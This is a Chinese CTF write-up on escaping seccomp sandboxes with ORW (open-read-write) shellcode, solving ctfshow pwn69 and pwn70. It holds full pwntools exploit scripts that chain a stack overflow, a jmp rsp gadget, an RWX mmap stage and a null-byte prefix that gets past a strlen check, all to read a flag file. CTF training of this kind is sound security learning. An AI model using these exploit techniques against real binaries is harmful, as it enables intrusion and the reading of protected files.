ORW沙箱逃逸

ORW沙箱逃逸

什么是沙箱保护

沙箱保护是一种将不受信任或高风险的代码与系统其余部分隔离在受限运行环境中的安全机制,限制该代码可调用的系统调用、访问的文件和网络权限等资源,从而在发生漏洞或恶意行为时把损害控制在小范围内(常见实现有容器/命名空间、seccomp、应用进程级沙箱和虚拟机),以实现最小权限原则并降低系统被攻破的风险。

例题–ctfshow pwn69

查保护64位

image-20251102212802867

查沙箱的工具

1
2
3
sudo apt install gcc ruby-dev

gem install seccomp-tools

开了沙箱保护,但是开了系统调用号为0,1,2,60的系统调用,也就是可以用ORW

image-20251102213026799

主要逻辑,输入可0x38字节,加上覆盖ebp和返回地址的空间,可以溢出的空间只有0x8字节了

image-20251102213413404

这个函数中发现有jmp rsp,跳到栈顶的意思

image-20251102215845130

0x20字节放不下ORW,这时候看到mmap函数申请了,0x123000地址,有0x1000字节的空间可写可执行

那么写payload引导进0x123000中写入ORW即可

image-20251102215936524

覆盖返回地址为jmp rsp,让rip跳到栈顶后面重新计算栈顶将rip指向0x30的位置

也就是缓冲区的最顶端,为的就是执行payload中的内容

1
p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp")

执行payload中内容到mmap分配的可执行空间

payload构造:

1
2
3
4
5
jmp_rsp = 0x400A01
pay =asm(shellcraft.read(0, mmap, 0x100))
pay += asm("mov rax,0x123000;jmp rax")
pay = pay.ljust(0x28,b"\x00")
pay += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp")

交互时发送payload,随后发送ORW

ORW shellcode板子

1
2
3
4
5
mmap = 0x123000
orw_shellcode = shellcraft.open("/ctfshow_flag")
orw_shellcode += shellcraft.read(3, mmap, 0x100)
orw_shellcode += shellcraft.write(1, mmap, 0x100)
shellcode = asm(orw_shellcode)

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')
p = remote("pwn.challenge.ctf.show", 28173)
#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda x:p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda : u64(p.recv(6).ljust(8, b"\x00"))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))
if args.G:
gdb.attach(p)
#-------------------------------------------------

mmap = 0x123000
orw_shellcode = shellcraft.open("/ctfshow_flag")
orw_shellcode += shellcraft.read(3, mmap, 0x100)
orw_shellcode += shellcraft.write(1, mmap, 0x100)
shellcode = asm(orw_shellcode)

jmp_rsp = 0x400A01
pay =asm(shellcraft.read(0, mmap, 0x100))
pay += asm("mov rax,0x123000;jmp rax")
pay = pay.ljust(0x28,b"\x00")
pay += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp")
ru(b"to do")
sl(pay)
sl(shellcode)

inter()

例题–ctfshow pwn70

禁用了execve

这里有个检验,strlen遇到0就终端,在shellcode前面加\x00开头的shellcode即可

image-20251103112255870

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
shellcode = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
shellcode = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
pay = b"\x00\xc0"+shellcode
sl(pay)

inter()

由于禁用的是execve,cat用的是open调用,所以也可以这么写

1
2
3
4
5
shellcode = b'\x00\xc0' + asm(shellcraft.cat('flag'))
pay = b"\x00\xc0"+shellcode
sl(pay)

inter()